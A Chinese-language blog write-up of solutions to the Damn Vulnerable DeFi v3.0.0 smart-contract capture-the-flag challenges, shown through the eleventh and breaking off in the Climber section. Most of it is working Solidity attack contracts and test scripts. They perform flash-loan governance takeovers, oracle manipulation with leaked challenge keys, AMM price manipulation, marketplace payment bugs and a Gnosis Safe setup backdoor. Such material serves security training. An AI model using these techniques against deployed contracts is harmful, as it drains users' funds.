[区块链安全-Damn_Vulnerable_DeFi]区块链DeFi智能合约安全实战(V3.0.0)(已完结)

前言

很抱歉,很久没有更新了。这段时间,经历了孩子出生、出国执行项目等诸多事情,心里也比较乱,也没有思绪去完成挑战。最近总算闲下来了,不过打开一看,发现[Damn-Vulnerable-DeFi]已经执行到v3.0.0了,很多东西都发生了变化,为什么不重头做一下呢?不过这次我可能会比较直接,直接贴代码、解释原理把!欢迎一起交流!

1. Unstoppable

test/unstoppable/unstoppable.challenge.js中,相关代码如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        console.log(await vault.totalAssets());
        console.log(await vault.totalSupply());
        await token.connect(player).transfer(vault.address,1);
        console.log(await vault.totalAssets());
        console.log(await vault.totalSupply());
    });

原因是因为在UnstoppableVault.sol中调用flashLoan函数,这里有一个先决条件,即if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

再看balanceBefore就是totalAssets即通过asset.balanceOf(address(this));查询的到的余额。而convertToShare(totalSupply)呢?totalSupply来源于UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626中的ERC626,因为abstract contract ERC4626 is ERC20,所以ERC20中的totalSupply就是我们要找的。

但是,实际的assets合约和Vault仓库的token又不算完全一样。asset是资产底层通证,而share就是股权通证,在本合约中是1:1兑换的,share的增发受严格控制,只能当用户存入asset资产底层通证时才能调用_mint函数,当用户取出时则会_burn

因为是convertToShares(totalSupply),当资产通证和合约股权通证严格相等时,totalSupply.mulDivDown(totalSupply, totalAssets())就会依然等同于totalAssets()。但由于股权通证的增发仅由deposit函数引起,因此我们直接调用token.transfer不会引起股权通证的变化,两者不再相等,从而该等式无法成立。

结果如下:

BigNumber { value: "1000000000000000000000000" } -> totalAssets(前)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(前)
BigNumber { value: "1000000000000000000000001" } -> totalAssets(后)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(后)

2. Naive receiver

解决思路:

考虑到在NaiveReceiverLenderPool中,采用FIXED_FEE,有

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

也就是说无论怎么样,都必须支付1ether的手续费用。所以我们只要借款10次,就能很轻易的掏空了。

因此,在test/naive-receiver/naive-receiver.challenge.js中,关键部分如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        for (i=0; i<10; i++){
    
    
            await pool.connect(player).flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",
                1,"0x");
        }
    });

注意,因为最后要传入bytes,所以必须加上"0x",否则不符合格式则会报错。


3. Truster

解决思路:

考虑到在TrusterLenderPool.sol中,闪电贷函数flashLoan里有两种类型的地址,borrowertarget,同时还调用了target中的functionCall方法。我们实际上没有必要去在闪电贷过程中就转移所有通证,只要通过functionCall获取后续攻击的权限即可。

因此,在test/truster/truster.challenge.js中,关键部分如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const calldata = token.interface.encodeFunctionData(
            "approve",[player.address,TOKENS_IN_POOL]
        );

        await pool.connect(player).flashLoan(0,player.address,token.address,
            calldata);

        await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);
    });

我们构造了calldata,目的是使得pool作为msg.sender主动调用token合约中的approve,并授权给player所有通证的权限。同时我们用了0个通证的闪电贷并实现了授权,成功掏空了合约中的通证。


4. Side Entrance

解决思路:

SideEntranceLenderPool.sol中,SideEntranceLenderPool既提供了闪电贷功能,又提供了存入功能,这个则是“灾难的”。在闪电贷中,借入和归还都是通过transfer进行的,并没有对相关手段作出特别的校验,最终只会通过if (address(*this*).balance < balanceBefore)进行余额上的检查。但如果合约又同时提供了存入、取出却没有进行任何限制,攻击者通过deposit也能绕过flashLoan的验证,同时还能在之后通过withdraw进行提取。

我们需要手写合约,具体如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract Hacker{

    SideEntranceLenderPool pool;
    address owner;

    uint constant AMOUNT = 1000 * 10**18;

    constructor (address _pool) {
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }

    function attack() public{
        pool.flashLoan(AMOUNT);
    }

    function execute() public payable{
        pool.deposit{value:msg.value}();
    }

    function withdraw() public {
        pool.withdraw();
    }

    receive() external payable {
        payable(owner).transfer(msg.value);
    }

}

test/side-entrance/side-entrance.challenge.js中,具体代码如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const hacker = await (await ethers.getContractFactory('Hacker', player)).deploy(pool.address);
        await hacker.attack();
        await hacker.withdraw();
    });

5.The Rewarder

解决思路:

首先要弄明白,这个快照的是如何实现的。

AccountingToken的介绍是A limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshotting capabilities,这是通过继承ERC20Snapshot实现的。

后者定义了一个结构

    struct Snapshots {
        uint256[] ids;
        uint256[] values;
    }

并通过 mapping(address => Snapshots) private _accountBalanceSnapshots;去存储余额,在每次操作时,都会通过_updateAccountSnapshot_updateTotalSupplySnapshot去更新对应快照id下的余额。

而这个又是如何触发分红的呢,为什么不直接按照余额来?

TheRewarderPool触发分红是通过distributeRewards进行(注意是在mint后进行),当满足isNewRewardsRound(可开展新一轮分红后),就根据余额进行分红。

我们的思路就是通过闪电贷,触发分红(要在相关时间后第一个发起交易),随后取出并归还。

我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract HackerRewarder {

    using Address for address;


    address pool;
    address flashLoan;
    address token;
    address reward;
    address owner;

    constructor(address _pool,address _flashLoan, address _token, address _reward ) {
        pool = _pool;
        flashLoan = _flashLoan;
        token = _token;
        reward = _reward;
        owner = msg.sender;
    }

    function attack(uint amount) external {
        flashLoan.functionCall(abi.encodeWithSignature("flashLoan(uint256)", amount));
    }

    function receiveFlashLoan(uint256 amount) external {
        token.functionCall(abi.encodeWithSignature("approve(address,uint256)",pool,amount));
        pool.functionCall(abi.encodeWithSignature("deposit(uint256)", amount));
        pool.functionCall(abi.encodeWithSignature("withdraw(uint256)", amount));
        token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",flashLoan,amount));
        reward.functionCall(abi.encodeWithSignature("approve(address,uint256)",owner,100 ether));
    }
}

test/the-rewarder/the-rewarder.challenge.js中,具体代码如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const hacker = await ethers.getContractFactory('HackerRewarder', player);
        const hackerRewarder = await hacker.deploy(rewarderPool.address,
                                                   flashLoanPool.address,
                                                   liquidityToken.address,
                                                   rewardToken.address);
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        await hackerRewarder.connect(player).attack(TOKENS_IN_LENDER_POOL);
        const hackedReward = await rewardToken.balanceOf(hackerRewarder.address);
        await rewardToken.connect(player).transferFrom(hackerRewarder.address,player.address,hackedReward);
    });

其中,要记得通过evm_increaseTime将时间调整5天以达成分红的条件!


6. Selfie

解决思路:

首先我们要看一下攻击的入口很明显是SelfiePool.sol中的emergencyExit,但有一个onlyGovernance的限制。

我们看治理合约里,可以提出提案queueAction,但前提是_hasEnoughVotes(msg.sender),然而之后2 days后,执行通过的合约就不需要再次校验了!

所以我们可以利用闪电贷发起提案,2天后执行就好!

我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract HackerSelfie {

    using Address for address;

    address flashLoan;
    address govern;
    address token;
    address owner;
    uint256 public requestId;

    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");


    constructor(address _flashLoan,address _govern, address _token){
        flashLoan = _flashLoan;
        govern = _govern;
        token = _token;
        owner = msg.sender;
    }

    function attack(uint256 amount) public{
        flashLoan.functionCall(abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)",
            address(this),token,amount,""));
    }

    function onFlashLoan(
        address initiator,
        address _token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32){
        token.functionCall(abi.encodeWithSignature("snapshot()"));
        bytes memory response = govern.functionCall(abi.encodeWithSignature(
            "queueAction(address,uint128,bytes)", 
            flashLoan,0,abi.encodeWithSignature("emergencyExit(address)", owner)));
        requestId = abi.decode(response,(uint256));
        token.functionCall(abi.encodeWithSignature("approve(address,uint256)",flashLoan,amount+fee));
        return CALLBACK_SUCCESS;
    }

}

此处注意,为了保证,手动对token进行了快照!

test/the-rewarder/the-rewarder.challenge.js中,具体代码如下:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const hacker =  await (await ethers.getContractFactory('HackerSelfie', player)).deploy(pool.address,
                                                                                                governance.address,
                                                                                                token.address);
        await hacker.connect(player).attack(await pool.maxFlashLoan(token.address));
        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
        await governance.executeAction(await hacker.requestId());

    });

7. Compromised

解决思路:

涉及到“喂价”,一定就回到了操纵预言机攻击。那我们来看看捕捉到的信息:

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35,两个16进制(1 byte => 8位)对应ASCII码。

解析为ASCII,为MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5,很明显这个是base64加密后的结果,解密为0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

同样,我们还可以获得0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

我们使用如下代码进行验证:

const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
const oracle1 = new ethers.Wallet(priKey1);
const oracle2 = new ethers.Wallet(priKey2);
console.log(oracle1.address);
console.log(oracle2.address);

输出结果如下:

0xe92401A4d3af5E446d93D11EEc806b1462b39D15
0x81A5D6E50C214044bE44cA0CB057fe119097850c

而这个正好就是喂价机的地址。接下来就是通过操纵预言机进行获利了。由合约Exchange.sol可知,buyOneSellOne都依赖于getMedianPrice,即通过中位数定价。

it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
        const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
        const oracle1 = new ethers.Wallet(priKey1,ethers.provider);
        const oracle2 = new ethers.Wallet(priKey2,ethers.provider);
        console.log(oracle1.address);
        console.log(oracle2.address);
        
        const tx1 = {
    
    
            to: oracle1.address,
            value: ethers.utils.parseEther('0.02'),
            gasLimit: 21000,
            gasPrice: ethers.utils.parseUnits('10', 'gwei'),
          };
        const tx2 = {
    
    
            to: oracle2.address,
            value: ethers.utils.parseEther('0.02'),
            gasLimit: 21000,
            gasPrice: ethers.utils.parseUnits('10', 'gwei'),
          };         
        await player.sendTransaction(tx1);
        await player.sendTransaction(tx2);

        await oracle.connect(oracle1).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
        await oracle.connect(oracle2).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
        const id = await exchange.connect(player).callStatic.buyOne({
    
    value:ethers.utils.parseEther('0.0001')});
        await exchange.connect(player).buyOne({
    
    value:ethers.utils.parseEther('0.0001')});
        

        const price = await ethers.provider.getBalance(exchange.address);
        await oracle.connect(oracle1).postPrice('DVNFT',price);
        await oracle.connect(oracle2).postPrice('DVNFT',price);
        await nftToken.connect(player).approve(exchange.address,id);
        await exchange.connect(player).sellOne(id);

        await oracle.connect(oracle1).postPrice('DVNFT',INITIAL_NFT_PRICE);
        await oracle.connect(oracle2).postPrice('DVNFT',INITIAL_NFT_PRICE);

    });

注意以下几点:

  1. 提前给预言机器oracle1、oracle2转账

  2. 通过callStatic模拟执行结果,提前获取id

    或者使用

    const tx3 = await exchange.connect(player).buyOne({
          
          value:ethers.utils.parseEther('0.0001')});
    const receipt = await tx3.wait();
    const id =await receipt.events[1].args.tokenId;
    
  3. 结束以后将价格改回来


8. Puppet

解决思路:

要通过质押取出所有的通证,结果很简单,就是先“砸盘”,再存入并借款(通常情况下,又需要买回原来的“砸盘”保证筹码不失)。

如果仅由分步进行:

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);
        await uniswapExchange.connect(player).tokenToEthSwapInput(
            PLAYER_INITIAL_TOKEN_BALANCE,
            1,
            (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline
        );
        const valueDeposit = await lendingPool.callStatic.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
        await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{
    
    value:valueDeposit});
        await uniswapExchange.connect(player).ethToTokenSwapOutput(
            PLAYER_INITIAL_TOKEN_BALANCE,
            (await ethers.provider.getBlock('latest')).timestamp * 3,   // deadline
            {
    
    value : UNISWAP_INITIAL_ETH_RESERVE + 1n}
        );
        
    });

然而,这不满足要求 // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

将攻击分成好几步,一次一次来,是不是觉得MEV看不到?所以这里还需要将以上步骤都打包,通过合约进行,并在合约创建过程中完成。这里就有一个问题了:approve操作该怎么办,能一步完成吗?

查询了一下所用的ERC20,里面多了一个函数permit:

    /*//
                             EIP-2612 LOGIC
    //*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);

通过组合检查用户签名等同于Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)...可以实现代授权功能,这个感觉有点危险。。

那就写攻击合约吧:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";

contract HackerPuppet {

    using Address for address;

    constructor(address token,
                address pool,
                address swap,
                uint8 v, bytes32 r, bytes32 s,
                uint256 playerToken,
                uint256 poolToken) payable {
        token.functionCall(abi.encodeWithSignature(
            "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
            msg.sender,
            address(this),
            type(uint256).max,
            type(uint256).max,
            v,r,s
        ));
        token.functionCall(abi.encodeWithSignature(
            "transferFrom(address,address,uint256)",
            msg.sender,
            address(this),
            playerToken
        ));

        bytes memory ans = token.functionCall(abi.encodeWithSignature(
            "balanceOf(address)",
            address(this)
        ));
        console.log("after transfering...");
        console.log(abi.decode(ans,(uint256)));


        console.log("before swapping");
        console.log(address(this).balance);

        token.functionCall(abi.encodeWithSignature(
            "approve(address,uint256)",
            swap,
            playerToken
        ));

        swap.call(
            abi.encodeWithSignature(
            "tokenToEthSwapInput(uint256,uint256,uint256)", 
            playerToken,
            1,
            type(uint256).max
            )
        );

        console.log("after swapping");
        console.log(address(this).balance);


        (bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
            "calculateDepositRequired(uint256)", 
            poolToken));
        console.log(suc);
        
        uint256 requiredETH = abi.decode(response,(uint256));
        console.log("requiredETH");
        console.log(requiredETH);

        pool.functionCallWithValue(
            abi.encodeWithSignature
                ("borrow(uint256,address)", poolToken, msg.sender)
            ,
            requiredETH);
        
        swap.functionCallWithValue(
            abi.encodeWithSignature(
                "ethToTokenSwapOutput(uint256,uint256)", 
                playerToken,
                type(uint256).max
            ),
            10 ether + 1
        );
        
        token.functionCall(abi.encodeWithSignature(
            "transfer(address,uint256)",
            msg.sender,
            playerToken
        ));
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {

    }

}

我们逐步来解析,以下通过permit完成在合约中的代授权并转账(其实我觉得在攻击时,这一步能拆开)

        token.functionCall(abi.encodeWithSignature(
            "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
            msg.sender,
            address(this),
            type(uint256).max,
            type(uint256).max,
            v,r,s
        ));
        token.functionCall(abi.encodeWithSignature(
            "transferFrom(address,address,uint256)",
            msg.sender,
            address(this),
            playerToken
        ));

以下approve完成通证授权给swap,并通过swap实现“砸盘”

		token.functionCall(abi.encodeWithSignature(
            "approve(address,uint256)",
            swap,
            playerToken
        ));

		swap.call(
            abi.encodeWithSignature(
            "tokenToEthSwapInput(uint256,uint256,uint256)", 
            playerToken,
            1,
            type(uint256).max
            )
        );

以下则通过质押进行borrow,并在同一笔交易内将“砸盘”的筹码买回!

 		(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
            "calculateDepositRequired(uint256)", 
            poolToken));
        console.log(suc);
        
    	uint256 requiredETH = abi.decode(response,(uint256));
    	console.log("requiredETH");
    	console.log(requiredETH);

    	pool.functionCallWithValue(
            abi.encodeWithSignature
                ("borrow(uint256,address)", poolToken, msg.sender)
            ,
            requiredETH);
        
        swap.functionCallWithValue(
            abi.encodeWithSignature(
                "ethToTokenSwapOutput(uint256,uint256)", 
                playerToken,
                type(uint256).max
            ),
            10 ether + 1
        );

合约创建如test/puppet/puppet.challenge.js,先通过getContractAddress实现合约地址预先计算以实现签名,然后通过部署完成攻击!

it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        
        const hacker = ethers.utils.getContractAddress({
    
    
            from: player.address,
            nonce: 0 
        });

        console.log("hackerAddress : " + hacker);
        console.log("swap : " + uniswapExchange.address);

        const {
    
     r, s, v } = await signERC2612Permit(
            ethers.provider,
            token.address,
            player.address,
            hacker,
        );

        await (await ethers.getContractFactory('HackerPuppet', player)).deploy(
            token.address,
            lendingPool.address,
            uniswapExchange.address,
            v,r,s,
            PLAYER_INITIAL_TOKEN_BALANCE,
            POOL_INITIAL_TOKEN_BALANCE,
            {
    
    value: 200n * 10n ** 17n,  gasLimit: '30000000',
        });

        console.log(await token.balanceOf(hacker));
    });


9. Puppet - V2

解决思路:

这里是Uniswap V2,与之前的区别在于使用了UniswapRouter进行了中继,所以我们不会再直接与pair进行交互,而是依靠Router

思路还是一样的,先将token转变为weth,并将eth转变为weth以完成质押存入mint weth(否则数量不够)。这一题反而没有单笔交易内完成的相关限制,有点奇怪。

具体代码如下:

it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);
        console.log("before swapping, token : "+await token.balanceOf(player.address));
        console.log("before swapping, weth : "+await weth.balanceOf(player.address));
        await uniswapRouter.connect(player).swapExactTokensForTokens(
            PLAYER_INITIAL_TOKEN_BALANCE,
            1,
            [
                token.address,
                weth.address
            ],
            player.address,
            (await ethers.provider.getBlock('latest')).timestamp * 3,
        );
        console.log("after swapping, token : "+await token.balanceOf(player.address));
        console.log("after swapping, weth : "+await weth.balanceOf(player.address));
        const stakeAmount = await lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
        const beforeDeposit = await weth.balanceOf(player.address);
        const valueToDeposit = BigNumber(stakeAmount - beforeDeposit);

        await weth.connect(player).deposit({
    
    value : valueToDeposit.toString()});
        console.log("current : "+ await weth.balanceOf(player.address));
        await weth.connect(player).approve(lendingPool.address,stakeAmount);
        await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);
    });

10. Free Rider

解决思路:

进入点类似于重入攻击,只要凑齐15ETH,就可以通过buyMany的漏洞批量完成了。然而我们起始只有0.1个,该怎么办?这也呼应了题目中的If only you could get free ETH, at least for an instant.

一开始疑惑了好一会,突然明白了,因为部署了Uniswap V2,所以我们可以利用FlashLoan(Flash Swap)实现一次性攻击。

其实这里面漏洞有两个:

  1. msg.value可重入 批量购买
  2. 将购买金额发送给nft所有者是在变更所有权后

以下是攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";

contract HackerFreeRider is IERC721Receiver{
    using Address for address;

    // borrow eth
    uint256 borrowAmount = 15 ether;

    address pair;
    address weth;
    address exchange;
    address nft;
    address reward;
    address owner;

    constructor(address _pair,
                address _weth,
                address _exchange,
                address _nft,
                address _reward
                ){
        pair = _pair;
        weth = _weth;
        exchange = _exchange;
        nft = _nft;
        reward = _reward;
        owner = msg.sender;
    }

    function attack() public {
        pair.functionCall(
            abi.encodeWithSignature(
                "swap(uint256,uint256,address,bytes)",
                borrowAmount,
                0,
                address(this),
                "1"
                ));

    }

    function uniswapV2Call(address sender, 
        uint amount0, 
        uint amount1, 
        bytes calldata data) public{

        console.log("calling back");

        bytes memory wethBorrowed = weth.functionCall(
            abi.encodeWithSignature(
                "balanceOf(address)",
                address(this)
            )
        );

        console.log(
            abi.decode(wethBorrowed,(uint256))
        );
        console.log("successfully borrowed ...");

        weth.functionCall(
            abi.encodeWithSignature(
                "withdraw(uint256)",
                abi.decode(wethBorrowed,(uint256))
            )
        );

        console.log(address(this).balance);


        uint[] memory arr = new uint[](6);
        for (uint i = 0; i<6; i++){
            arr[i] = i;
        }

        exchange.functionCallWithValue(
            abi.encodeWithSignature(
                "buyMany(uint256[])", 
                arr),
            abi.decode(wethBorrowed,(uint256))
        );

        for (uint i = 0; i < 6; i++){
            nft.functionCall(
                abi.encodeWithSignature(
                    "safeTransferFrom(address,address,uint256,bytes)",
                    address(this),
                    reward,
                    i,
                    abi.encode(address(this))
                )
            );
        }

        console.log("eth ", address(this).balance);
        uint mintback = borrowAmount * 1000 / 997 + 1 ether;
        weth.functionCallWithValue(
            abi.encodeWithSignature(
                "deposit()"
            ),
            mintback
        );
        console.log("after mint back ");
        console.log("eth ", address(this).balance);

        weth.functionCall(
            abi.encodeWithSignature(
                "transfer(address,uint256)",
                pair,
                mintback
            )
        );

        payable(owner).transfer(address(this).balance);
        console.log("finish...");
    }


    receive() payable external {
        console.log("receiving ...");
        console.log(msg.value);
        console.log(address(this).balance);
    }

    function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
        external
        override
        returns (bytes4)
     {
        console.log("receving : ", _tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }


}

attack函数中,调用

        pair.functionCall(
            abi.encodeWithSignature(
                "swap(uint256,uint256,address,bytes)",
                borrowAmount,
                0,
                address(this),
                "1"
                ));

通过uniswapV2Call接受回调,实现转为ETH,购买NFT,获取奖励,铸造WETH,归还闪电贷。同时记得要实现onERC721Received以接受NFT。

test/free-rider/free-rider.challenge.js中,代码如下:

it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        hacker = await (await ethers.getContractFactory('HackerFreeRider', player)).deploy(
            uniswapPair.address,
            weth.address,
            marketplace.address,
            nft.address,
            devsContract.address
            );
        hacker.connect(player).attack();

    });

11. Backdoor

首先:Gnosis Safe是一个开源的多签名钱包,旨在为用户提供更高的安全性和更好的用户体验。它允许用户管理数字资产,并使用多重签名保护其资产。这介绍了相关背景。

因为一开始做就了限制:

msg.sender != walletFactory所以我们还是要先与walletProxyFactory进行交互,所以我们看看有哪些利用点。

观察createProxyWithCallback调用了createProxyWithNonce,同时执行以下:

            assembly {
                if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                    revert(0, 0)
                }
            }

这会调用proxyfallback函数,最终通过delegateCall执行calldata中的逻辑。

    fallback() external payable {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, _singleton)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
        }
    }

在这里,又由于限制,我们可以直接将singleton指向攻击函数,并在这里执行操作,由于调用发生在之前,所以我们可以预先通过approve等方法完成预先授权。但由于需要调用Setup完成对钱包的设置,所以我们将调用approve的操作delegate放在setupdata变量中,最终会在setupModule中通过 require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");执行。所以我们传入的initializer应该是setup经过decode后的结果。

先写攻击合约,这里有一个大坑。。(我一开始将 function delegateApprove(address token, address spender) external写在HackerBackDoor合约内,但是因为还是在创建阶段,所以无法调用。所以后来我写在一个子合约内)。因为每次owner只能有一个人,所以我们被迫通过循环实现。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";


contract CB{

    constructor(){
    
    }

    function delegateApprove(address token, address spender) external{
        console.log("delegate coming in");
        token.call(
            abi.encodeWithSignature(
                "approve(address,uint256)",
                spender,
                type(uint256).max - 1
            )
        );
    }

}

contract HackerBackdoor {
    using Address for address;
    address placeholder1;
    address placeholder2;
    IERC20 tokenDVT;


    constructor(
        address[] memory users,
        address factory,
        address token,
        address wallet,
        address singleton
    ){
        tokenDVT = IERC20(token);
        CB cb = new CB();

        GnosisSafeProxyFactory fac = GnosisSafeProxyFactory(factory);

        console.log("performing attack by ",address(this));

        for (uint i = 0; i < users.length; i++){
            console.log("user ",users[i]);

            address[] memory user2call = new address[](1);
            user2call[0] = users[i];

            bytes memory tmp = abi.encodeWithSignature(
                    "delegateApprove(address,address)",
                    token,
                    address(this)
            );

            bytes memory data = 
                abi.encodeWithSignature(
                    "setup(address[],uint256,address,bytes,address,address,uint256,address)"
                    ,
                    user2call,
                    1, // threshold
                    cb,
                    tmp,
                    address(0),
                    address(0),
                    0,
                    address(0)
                );

            GnosisSafeProxy proxyAddr = fac.createProxyWithCallback(
                singleton, data, 0, IProxyCreationCallback(wallet));

            console.log("proxy ", address(proxyAddr));

            console.log("dvt balance ",tokenDVT.balanceOf(address(proxyAddr)));
            tokenDVT.transferFrom(
                address(proxyAddr), msg.sender, 10 ether);

        }
    }

}

根据以上原理,见test/backdoor/backdoor.challenge.js,我们成功在一笔交易内完成获取。

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const hacker = await (await ethers.getContractFactory('HackerBackdoor', player)).deploy(
            users,
            walletFactory.address,
            token.address,
            walletRegistry.address,
            masterCopy.address,
            {
    
    gasLimit: '30000000'}
        );
    });

PS. 我发现调试时尽量通过interface导入后调用,之前是为了合约的简洁(如果思路清晰的话没问题)。


12. Climber

解决思路:

ClimberTimeLockexecute函数中,由于先执行操作,然后再通过getOperationState(id) != OperationState.ReadyForExecution校验,形成了典型的“先上车后买票”的进入点。

但由于我们执行时,得一步一步执行,因为执行时msg.sender就是ClimberTimeLock本身。我们会从Admin_ROLE开始,逐步提权。

我们首先列出需要做的事情:

  1. updateDelay 改为 0
  2. 分配给特定角色PROPOSER_ROLE以能够实现提案
  3. 实现升级以取消相关限制
  4. 完成提款
  5. 提交提案

所以我们先写出来攻击的合约吧,需要在同一笔交易内完成(创建合约可以提前)。

升级合约本身没什么特别的,就是在原先基础上去掉了一些限制:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";

import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";

/**
 * @title ClimberVault
 * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

